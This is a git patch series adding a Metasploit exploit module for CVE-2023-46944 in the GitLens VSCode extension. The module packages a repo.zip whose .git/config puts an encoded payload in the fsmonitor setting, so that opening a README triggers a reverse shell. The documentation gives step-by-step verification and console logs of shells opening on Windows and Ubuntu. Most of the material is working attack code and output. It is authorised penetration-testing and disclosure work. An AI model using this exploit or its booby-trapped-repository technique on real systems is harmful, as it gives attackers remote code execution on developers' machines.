From eb26b0adcc03a80c7278440efb86d2900cc65802 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 22 Mar 2024 16:22:39 -0400 Subject: [PATCH 1/4] gitlens exploit module --- .../fileformat/gitlens_local_config_exec.md | 95 ++++++++++++++ .../fileformat/gitlens_local_config_exec.rb | 117 ++++++++++++++++++ 2 files changed, 212 insertions(+) create mode 100644 documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md create mode 100644 modules/exploits/multi/fileformat/gitlens_local_config_exec.rb diff --git a/documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md b/documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md new file mode 100644 index 000000000000..e05094e6f8ad --- /dev/null +++ b/documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md @@ -0,0 +1,95 @@ +## Vulnerable Application + +GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git +commands. A repo may include its own .git folder including a malicious config file to +execute arbitrary code. + +Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10 + +### Install + +Download the extension [gitlens-13.6.0.vsix](https://github.com/gitkraken/vscode-gitlens/releases/download/v13.6.0/gitlens-13.6.0.vsix) + +1. In VSCode, go to extensions (left side, 4 blocks), click triple dots in top right corner, Auto Update Extensions -> None. +1. In VSCode, go to extensions (left side, 4 blocks), click triple dots in top right corner, install from vsix. + +## Verification Steps + +1. Install the extension +1. Start msfconsole +1. Do: `use exploit/multi/fileformat/gitlens_local_config_exec` +1. Do: `run` +1. Unzip the repo +1. Open the folder in Visual Studio Code +1. When prompted, select "No, I don't trust the authors" +1. Open the `README.md` file and put the cursor on the first line. +1. You should get a shell. + +## Options + +### README + +The content of the `README.md` file. Defaults to `# Test` + +## Scenarios + +### VSCode 1.87.2 on Windows 10 Pro (22H2) with GitLens 13.6.0 + +``` +[*] Processing gitlens.rb for ERB directives. +resource (gitlens.rb)> use exploit/multi/fileformat/gitlens_local_config_exec +[*] Using configured payload cmd/unix/reverse_bash +resource (gitlens.rb)> set target 1 +target => 1 +resource (gitlens.rb)> set lhost 192.168.10.147 +lhost => 192.168.10.147 +msf6 exploit(multi/fileformat/gitlens_local_config_exec) > exploit + +[*] Started reverse TCP handler on 192.168.10.147:4444 +[+] repo.zip stored at /root/.msf4/local/repo.zip +[*] Waiting for shell +[*] Sending stage (336 bytes) to 192.168.10.100 +``` + +Unzip the repo, open the folder in Visual Studio Code. When prompted, select "No, I don't trust the authors". Open the `README.md` file and put the cursor on the first line. + +``` +[*] Command shell session 1 opened (192.168.10.147:4444 -> 192.168.10.100:62807) at 2024-03-19 17:46:46 +0000 + + +Shell Banner: +Microsoft Windows [Version 10.0.19045.4170] +----- + + +C:\Users\h00die\Desktop\repo>whoami +whoami +h00die + +C:\Users\h00die\Desktop\repo> +``` +### VSCode 1.87.2 on Windows 10 Pro (1809), utilizing remote connection to Ubuntu 22.04 with GitLens 13.6.0 installed + +``` +$ ./msfconsole -qr gitlens.rb +[*] Processing gitlens.rb for ERB directives. +resource (gitlens.rb)> use exploit/multi/fileformat/gitlens_local_config_exec +[*] Using configured payload cmd/unix/reverse_bash +resource (gitlens.rb)> set lhost 192.168.10.147 +lhost => 192.168.10.147 +msf6 exploit(multi/fileformat/gitlens_local_config_exec) > exploit + +[*] Started reverse TCP handler on 192.168.10.147:4444 +[+] repo.zip stored at /root/.msf4/local/repo.zip +[*] Waiting for shell +``` + +Unzip the repo, open the folder in Visual Studio Code. When prompted, select "No, I don't trust the authors". Open the `README.md` file and put the cursor on the first line. + +``` +[*] Command shell session 1 opened (192.168.10.147:4444 -> 192.168.10.147:53600) at 2024-03-19 18:26:04 +0000 + +[*] Command shell session 2 opened (192.168.10.147:4444 -> 192.168.10.147:53612) at 2024-03-19 18:26:06 +0000 +id +uid=1000(notroot) gid=1000(notroot) groups=1000(notroot),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),119(docker) +``` \ No newline at end of file diff --git a/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb b/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb new file mode 100644 index 000000000000..7e5357eacc30 --- /dev/null +++ b/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb @@ -0,0 +1,117 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'GitLens Git Local Configuration Exec', + 'Description' => %q{ + GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git + commands. A repo may include its own .git folder including a malicious config file to + execute arbitrary code. + + Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # Metasploit module + 'Paul Gerste', # Original advisory and PoC + ], + 'References' => [ + ['URL', 'https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/'], + ['URL', 'https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/'], # git hook + ['URL', 'https://github.com/gitkraken/vscode-gitlens/commit/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440'], # patch + ['CVE', '2023-46944'] + ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => false, + 'FILENAME' => 'repo.zip', + 'WfsDelay' => 3_600 # 1hr + }, + 'Targets' => [ + [ + 'Linux/Unix (In-Memory)', + { + 'Platform' => [ 'unix', 'linux' ], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + }, + ], + # There may be a size limit, but using fetch payloads works great + [ + 'PowerShell (In-Memory)', + { + 'Platform' => 'win', + 'Arch' => [ARCH_CMD], + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/windows/http/x64/shell/reverse_tcp' + }, + 'Payload' => { + 'BadChars' => '"&' + } + } + ], + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [SCREEN_EFFECTS] # windows fetch payloads pops up a CMD window for a second, then goes away + }, + 'Privileged' => false, + 'DisclosureDate' => '2023-11-14' + ) + ) + + register_options([ + OptString.new('README', [true, 'The contents of the readme markdown file', '# Test']) + ]) + end + + def readme + datastore['README'].to_s + end + + def git_head + 'ref: refs/heads/master' + end + + def git_config + %([core] + repositoryformatversion = 0 + filemode = true + bare = false + logallrefupdates = true +fsmonitor = "#{payload.encoded} #") # without the trailing # windows tacks on . so this avoids corrupting the payload + end + + def exploit + # Create malicious zip archive containing our git repo + files = + [ + { data: readme, fname: 'README.md' }, + { data: git_config, fname: '.git/config' }, + { data: git_head, fname: '.git/HEAD' }, + { data: '', fname: '.git/objects/info/' }, + { data: '', fname: '.git/objects/pack/' }, + { data: '', fname: '.git/refs/heads/' }, + { data: '', fname: '.git/refs/tags/' }, + ] + + zip = Msf::Util::EXE.to_zip(files) + + file_create(zip) + print_status('Waiting for shell') + end +end From ee891eca3a24675d6e462e75e20a53e16d8ec6ce Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 7 Apr 2024 09:15:50 -0400 Subject: [PATCH 2/4] spacing --- modules/exploits/multi/fileformat/gitlens_local_config_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb b/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb index 7e5357eacc30..a7341d748a50 100644 --- a/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb +++ b/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb @@ -93,7 +93,7 @@ def git_config filemode = true bare = false logallrefupdates = true -fsmonitor = "#{payload.encoded} #") # without the trailing # windows tacks on . so this avoids corrupting the payload + fsmonitor = "#{payload.encoded} #") # without the trailing # windows tacks on . so this avoids corrupting the payload end def exploit From bae1a2e20fbb45cbd42d97a850c04f2aca0189ba Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 17 Apr 2024 16:06:32 -0400 Subject: [PATCH 3/4] gitlens review --- .../exploit/multi/fileformat/gitlens_local_config_exec.md | 2 +- modules/exploits/multi/fileformat/gitlens_local_config_exec.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md b/documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md index e05094e6f8ad..8ca6938a9e1b 100644 --- a/documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md +++ b/documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md @@ -48,12 +48,12 @@ msf6 exploit(multi/fileformat/gitlens_local_config_exec) > exploit [*] Started reverse TCP handler on 192.168.10.147:4444 [+] repo.zip stored at /root/.msf4/local/repo.zip [*] Waiting for shell -[*] Sending stage (336 bytes) to 192.168.10.100 ``` Unzip the repo, open the folder in Visual Studio Code. When prompted, select "No, I don't trust the authors". Open the `README.md` file and put the cursor on the first line. ``` +[*] Sending stage (336 bytes) to 192.168.10.100 [*] Command shell session 1 opened (192.168.10.147:4444 -> 192.168.10.100:62807) at 2024-03-19 17:46:46 +0000 diff --git a/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb b/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb index a7341d748a50..b7454aace5e6 100644 --- a/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb +++ b/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb @@ -67,7 +67,7 @@ def initialize(info = {}) 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [SCREEN_EFFECTS] # windows fetch payloads pops up a CMD window for a second, then goes away + 'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # windows fetch payloads pops up a CMD window for a second, then goes away }, 'Privileged' => false, 'DisclosureDate' => '2023-11-14' From a551ef136c32600adb670fcfbe7ecc9ef025d322 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 18 Apr 2024 17:31:02 -0400 Subject: [PATCH 4/4] remove default shells on gitlens module --- .../multi/fileformat/gitlens_local_config_exec.rb | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb b/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb index b7454aace5e6..da259698cada 100644 --- a/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb +++ b/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb @@ -37,16 +37,13 @@ def initialize(info = {}) 'FILENAME' => 'repo.zip', 'WfsDelay' => 3_600 # 1hr }, + 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Linux/Unix (In-Memory)', { 'Platform' => [ 'unix', 'linux' ], - 'Arch' => ARCH_CMD, - 'Type' => :unix_cmd, - 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/unix/reverse_bash' - } + 'Type' => :unix_cmd }, ], # There may be a size limit, but using fetch payloads works great @@ -54,10 +51,6 @@ def initialize(info = {}) 'PowerShell (In-Memory)', { 'Platform' => 'win', - 'Arch' => [ARCH_CMD], - 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/windows/http/x64/shell/reverse_tcp' - }, 'Payload' => { 'BadChars' => '"&' }